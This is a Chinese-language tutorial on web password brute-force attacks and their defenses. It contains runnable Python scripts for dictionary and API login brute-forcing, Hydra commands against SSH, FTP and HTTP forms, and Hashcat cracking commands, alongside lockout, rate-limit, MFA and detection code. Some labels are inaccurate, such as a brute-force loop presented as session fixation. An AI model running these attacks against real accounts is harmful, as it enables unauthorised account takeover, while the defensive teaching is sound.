Web 密码爆破攻击与防御完全指南

← 返回指南列表

Web 密码爆破攻击与防御完全指南

一、密码爆破攻击概述

1.1 攻击定义与原理

密码爆破攻击(Password Brute Force Attack)是一种通过系统地尝试各种可能的密码组合来获取账户访问权限的攻击方式。

攻击原理:

  • 利用计算机的计算能力遍历所有可能的密码组合
  • 基于字典或规则生成候选密码
  • 自动化尝试登录直到找到正确密码

1.2 攻击面分析

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

1.3 攻击类型分类

攻击类型 描述 特点
暴力破解 尝试所有可能组合 时间复杂度高,成功率低
字典攻击 使用预定义字典 依赖字典质量,速度快
彩虹表攻击 预计算哈希值 需要大量存储空间
混合攻击 字典+规则变异 结合字典和暴力的优点
社会工程学攻击 利用个人信息 成功率高,难以防御

二、密码爆破攻击技术详解

2.1 暴力破解攻击

原理:穷尽所有可能的字符组合

PYTHON
import itertools

def brute_force(charset, max_length):
    """生成所有可能的密码组合"""
    for length in range(1, max_length + 1):
        for combo in itertools.product(charset, repeat=length):
            yield ''.join(combo)

# 示例:生成所有4位数字密码
charset = '0123456789'
for password in brute_force(charset, 4):
    print(password)

时间复杂度分析:

字符集大小 密码长度 组合数 估算时间(1000次/秒)
10 (数字) 4 10,000 10秒
10 (数字) 6 1,000,000 16分钟
26 (小写) 6 308915776 9.8年
62 (混合) 8 218340105584896 6924年

2.2 字典攻击

原理:使用预定义的密码字典进行攻击

PYTHON
import requests

def dictionary_attack(url, username, wordlist):
    """执行字典攻击"""
    with open(wordlist, 'r') as f:
        for password in f:
            password = password.strip()
            data = {
                'username': username,
                'password': password
            }
            response = requests.post(url, data=data)
            
            if is_successful_login(response):
                print(f"找到密码: {password}")
                return password
    return None

# 使用示例
result = dictionary_attack(
    'http://example.com/login',
    'admin',
    'rockyou.txt'
)

常见字典来源:

字典名称 描述 密码数量
rockyou.txt 最著名的泄露密码集 ~14M
SecLists 安全研究字典集合 多种类型
Cupp 基于个人信息生成 定制化
Crunch 自定义字符集生成 按需生成

2.3 彩虹表攻击

原理:预计算哈希值对照表

PYTHON
import hashlib

def create_rainbow_table(charset, max_length, hash_type='md5'):
    """创建彩虹表"""
    rainbow_table = {}
    
    for password in brute_force(charset, max_length):
        if hash_type == 'md5':
            hash_value = hashlib.md5(password.encode()).hexdigest()
        elif hash_type == 'sha1':
            hash_value = hashlib.sha1(password.encode()).hexdigest()
        else:
            hash_value = hashlib.sha256(password.encode()).hexdigest()
        
        rainbow_table[hash_value] = password
    
    return rainbow_table

# 查找哈希值对应的密码
def lookup_hash(rainbow_table, hash_value):
    return rainbow_table.get(hash_value, None)

彩虹表结构:

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

2.4 混合攻击

原理:结合字典和规则引擎生成变异密码

PYTHON
def mutate_password(base_password):
    """生成密码变异变体"""
    mutations = []
    
    # 替换规则
    leet_map = {
        'a': '@', 'A': '@',
        'e': '3', 'E': '3',
        'i': '1', 'I': '1',
        'o': '0', 'O': '0',
        's': '$', 'S': '$'
    }
    
    # 添加数字后缀
    for i in range(0, 100):
        mutations.append(f"{base_password}{i}")
        mutations.append(f"{base_password}{str(i).zfill(2)}")
    
    # 添加特殊字符后缀
    for char in ['!', '@', '#', '$', '%']:
        mutations.append(f"{base_password}{char}")
    
    # Leet替换
    leet_version = base_password
    for orig, replace in leet_map.items():
        leet_version = leet_version.replace(orig, replace)
    if leet_version != base_password:
        mutations.append(leet_version)
    
    # 大小写变体
    mutations.append(base_password.upper())
    mutations.append(base_password.capitalize())
    
    return mutations

2.5 会话固定攻击

原理:利用固定的会话标识符进行攻击

PYTHON
import requests

def session_fixation_attack(target_url, victim_session):
    """会话固定攻击"""
    # 设置受害者的会话cookie
    cookies = {'PHPSESSID': victim_session}
    
    # 尝试各种密码
    with open('wordlist.txt', 'r') as f:
        for password in f:
            password = password.strip()
            data = {
                'username': 'admin',
                'password': password
            }
            
            response = requests.post(
                f"{target_url}/login",
                data=data,
                cookies=cookies
            )
            
            if response.status_code == 302:
                # 登录成功,会话已被劫持
                print(f"登录成功!密码: {password}")
                return password
    
    return None

三、攻击工具与平台

3.1 常用工具

工具 类型 特点
Hydra 网络协议爆破 支持多种协议
Medusa 并行爆破工具 高性能
Ncrack Nmap衍生工具 专注网络认证
John the Ripper 离线密码破解 支持多种哈希
Hashcat GPU加速破解 最快的破解工具
Burp Suite Web应用测试 功能全面

3.2 Hydra 使用示例

BASH
# 基本语法
hydra -L users.txt -P passwords.txt <target> <service>

# HTTP POST 表单爆破
hydra -L users.txt -P rockyou.txt \
  http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" \
  -t 10 -vV example.com

# SSH 爆破
hydra -l root -P rockyou.txt ssh://192.168.1.1 -t 4

# FTP 爆破
hydra -L users.txt -P passwords.txt ftp://10.0.0.1

3.3 Hashcat 使用示例

BASH
# MD5 破解
hashcat -m 0 -a 0 hash.txt rockyou.txt

# SHA-256 破解
hashcat -m 1400 -a 0 hash.txt rockyou.txt

# 掩码攻击(8位数字密码)
hashcat -m 0 -a 3 hash.txt ?d?d?d?d?d?d?d?d

# 组合攻击
hashcat -m 0 -a 1 hash.txt dict1.txt dict2.txt

# 规则攻击
hashcat -m 0 -a 0 -r rules/best64.rule hash.txt rockyou.txt

3.4 Burp Suite 爆破

步骤:

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

四、防御策略与最佳实践

4.1 账户锁定机制

PYTHON
from flask import Flask, request, session
from datetime import datetime, timedelta

app = Flask(__name__)
app.secret_key = 'supersecretkey'

# 记录登录尝试
login_attempts = {}

def check_login_attempts(username):
    """检查登录尝试次数"""
    now = datetime.now()
    
    if username not in login_attempts:
        login_attempts[username] = []
    
    # 清理5分钟前的尝试记录
    login_attempts[username] = [
        attempt for attempt in login_attempts[username]
        if now - attempt < timedelta(minutes=5)
    ]
    
    # 超过5次尝试则锁定
    if len(login_attempts[username]) >= 5:
        return False
    
    return True

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    
    # 检查账户锁定
    if not check_login_attempts(username):
        return "账户已锁定,请5分钟后重试", 403
    
    # 验证密码
    if validate_credentials(username, password):
        session['user'] = username
        login_attempts[username] = []  # 重置计数器
        return "登录成功"
    
    # 记录失败尝试
    login_attempts[username].append(datetime.now())
    attempts_left = 5 - len(login_attempts[username])
    
    return f"登录失败,剩余尝试次数: {attempts_left}", 401

4.2 CAPTCHA 防护

HTML
<!-- Google reCAPTCHA 示例 -->
<form action="/login" method="POST">
    <input type="text" name="username" required>
    <input type="password" name="password" required>
    
    <!-- reCAPTCHA v2 -->
    <div class="g-recaptcha" data-sitekey="your-site-key"></div>
    
    <button type="submit">登录</button>
</form>

<script src="https://www.google.com/recaptcha/api.js"></script>
PYTHON
# 服务器端验证
import requests

def verify_recaptcha(response_token):
    """验证 reCAPTCHA"""
    data = {
        'secret': 'your-secret-key',
        'response': response_token,
        'remoteip': request.remote_addr
    }
    
    response = requests.post(
        'https://www.google.com/recaptcha/api/siteverify',
        data=data
    )
    
    result = response.json()
    return result.get('success', False)

4.3 速率限制

PYTHON
from flask import Flask, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(
    get_remote_address,
    app=app,
    default_limits=["100 per day", "20 per hour"],
    storage_uri="memory://"
)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # 每分钟最多5次尝试
def login():
    # 登录逻辑
    pass

4.4 密码策略强制

PYTHON
import re

def validate_password_strength(password):
    """验证密码强度"""
    errors = []
    
    # 最小长度
    if len(password) < 12:
        errors.append("密码长度至少12位")
    
    # 包含大写字母
    if not re.search(r'[A-Z]', password):
        errors.append("密码必须包含大写字母")
    
    # 包含小写字母
    if not re.search(r'[a-z]', password):
        errors.append("密码必须包含小写字母")
    
    # 包含数字
    if not re.search(r'[0-9]', password):
        errors.append("密码必须包含数字")
    
    # 包含特殊字符
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        errors.append("密码必须包含特殊字符")
    
    # 检查常见密码
    common_passwords = {'password', '123456', 'qwerty', 'admin'}
    if password.lower() in common_passwords:
        errors.append("密码过于常见")
    
    return errors

4.5 多因素认证(MFA)

PYTHON
import pyotp
import qrcode

def generate_mfa_secret():
    """生成MFA密钥"""
    return pyotp.random_base32()

def generate_mfa_qr(username, secret):
    """生成QR码"""
    uri = pyotp.totp.TOTP(secret).provisioning_uri(
        name=username,
        issuer_name="MyApp"
    )
    img = qrcode.make(uri)
    return img

def verify_mfa_code(secret, code):
    """验证MFA代码"""
    totp = pyotp.TOTP(secret)
    return totp.verify(code)

4.6 安全登录日志

PYTHON
import logging
from datetime import datetime
from flask import request

logging.basicConfig(
    filename='login_logs.log',
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)

def log_login_attempt(username, success, ip_address):
    """记录登录尝试"""
    timestamp = datetime.now().isoformat()
    
    if success:
        logging.info(f"成功登录 - 用户: {username}, IP: {ip_address}")
    else:
        logging.warning(f"登录失败 - 用户: {username}, IP: {ip_address}")
    
    # 检查异常登录模式
    check_brute_force_pattern(username, ip_address)

def check_brute_force_pattern(username, ip_address):
    """检测暴力破解模式"""
    # 实现异常检测逻辑
    # - 短时间内多次失败尝试
    # - 来自不同IP的尝试
    # - 异常时间登录
    pass

五、实战案例分析

5.1 案例一:电商平台密码爆破

攻击场景:

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

防御方案:

  • 实施账户锁定(5次失败后锁定5分钟)
  • 添加 CAPTCHA 验证
  • 实施速率限制(单IP每分钟最多5次尝试)
  • 记录并监控异常登录行为

5.2 案例二:API接口爆破

攻击场景:

PYTHON
import requests
import json

def api_brute_force(base_url, usernames, passwords):
    """API接口爆破"""
    headers = {
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0'
    }
    
    for username in usernames:
        for password in passwords:
            data = {
                'email': username,
                'password': password
            }
            
            response = requests.post(
                f"{base_url}/api/auth/login",
                data=json.dumps(data),
                headers=headers
            )
            
            if response.status_code == 200:
                result = response.json()
                if 'token' in result:
                    print(f"成功!用户: {username}, 密码: {password}")
                    return True
                    
    return False

防御方案:

  • API 速率限制(基于IP和用户)
  • 使用 JWT Token 并设置合理过期时间
  • 添加请求签名验证
  • 实现异常流量检测

5.3 案例三:会话劫持攻击

攻击流程:

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

防御方案:

  • 登录时重新生成Session ID
  • 使用安全的Cookie属性(HttpOnly, Secure, SameSite)
  • 实现会话绑定(IP、User-Agent验证)
  • 设置合理的会话超时时间

六、检测与响应

6.1 入侵检测规则

PYTHON
import re
from collections import defaultdict
from datetime import datetime, timedelta

class BruteForceDetector:
    def __init__(self):
        self.attempts = defaultdict(list)
    
    def log_attempt(self, username, ip, success):
        """记录登录尝试"""
        now = datetime.now()
        self.attempts[(username, ip)].append({
            'timestamp': now,
            'success': success
        })
        
        # 清理旧记录(保留1小时)
        cutoff = now - timedelta(hours=1)
        self.attempts[(username, ip)] = [
            a for a in self.attempts[(username, ip)]
            if a['timestamp'] > cutoff
        ]
        
        return self.detect_attack(username, ip)
    
    def detect_attack(self, username, ip):
        """检测暴力破解攻击"""
        key = (username, ip)
        attempts = self.attempts[key]
        
        # 规则1:1分钟内超过5次失败尝试
        recent_fails = [a for a in attempts 
                       if not a['success'] 
                       and datetime.now() - a['timestamp'] < timedelta(minutes=1)]
        
        if len(recent_fails) >= 5:
            return {
                'alert': 'BRUTE_FORCE_DETECTED',
                'level': 'HIGH',
                'message': f"检测到暴力破解攻击: {username}@{ip}"
            }
        
        # 规则2:5分钟内超过10次失败尝试
        all_fails = [a for a in attempts if not a['success']]
        if len(all_fails) >= 10:
            return {
                'alert': 'SUSPICIOUS_LOGIN_PATTERN',
                'level': 'MEDIUM',
                'message': f"可疑登录模式: {username}@{ip}"
            }
        
        return None

6.2 响应措施

威胁级别 响应措施
LOW 记录日志,监控后续行为
MEDIUM 警告用户,增加验证步骤
HIGH 临时锁定账户,通知管理员
CRITICAL 永久锁定账户,触发安全告警

6.3 应急响应流程

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

七、安全建议总结

7.1 开发层面

措施 说明
使用强哈希算法 bcrypt, Argon2, scrypt
添加盐值 防止彩虹表攻击
实施速率限制 控制请求频率
账户锁定 多次失败后临时锁定
MFA 认证 多因素认证

7.2 运维层面

措施 说明
日志监控 实时监控登录行为
异常检测 使用 SIEM 系统
DDoS 防护 抵御大规模攻击
定期审计 审查安全日志
安全培训 提高团队安全意识

7.3 用户层面

建议 说明
使用密码管理器 生成和存储复杂密码
启用 MFA 增加额外安全层
定期更换密码 降低泄露风险
警惕钓鱼攻击 验证登录页面真实性
使用不同密码 避免密码复用

八、附录

8.1 密码强度测试工具

PYTHON
import zxcvbn

def test_password_strength(password):
    """测试密码强度"""
    result = zxcvbn.zxcvbn(password)
    
    return {
        'score': result['score'],  # 0-4
        'crack_time': result['crack_time_display'],
        'suggestions': result['feedback']['suggestions'],
        'warning': result['feedback']['warning']
    }

8.2 常见弱密码列表

PYTHON
COMMON_PASSWORDS = [
    'password', '123456', '12345678', 'qwerty', 'abc123',
    'monkey', '1234567', 'letmein', 'trustno1', 'dragon',
    'baseball', 'iloveyou', 'master', 'sunshine', 'ashley',
    'bailey', 'shadow', '123123', '654321', 'superman'
]

8.3 参考资料

  1. OWASP Authentication Cheat Sheet
  2. NIST Digital Identity Guidelines
  3. RFC 4226 (HOTP)
  4. RFC 6238 (TOTP)
  5. OWASP Brute Force Attack Cheat Sheet

免责声明:本文仅供安全研究和教育目的。未经授权进行密码爆破攻击是违法的行为,作者不承担任何法律责任。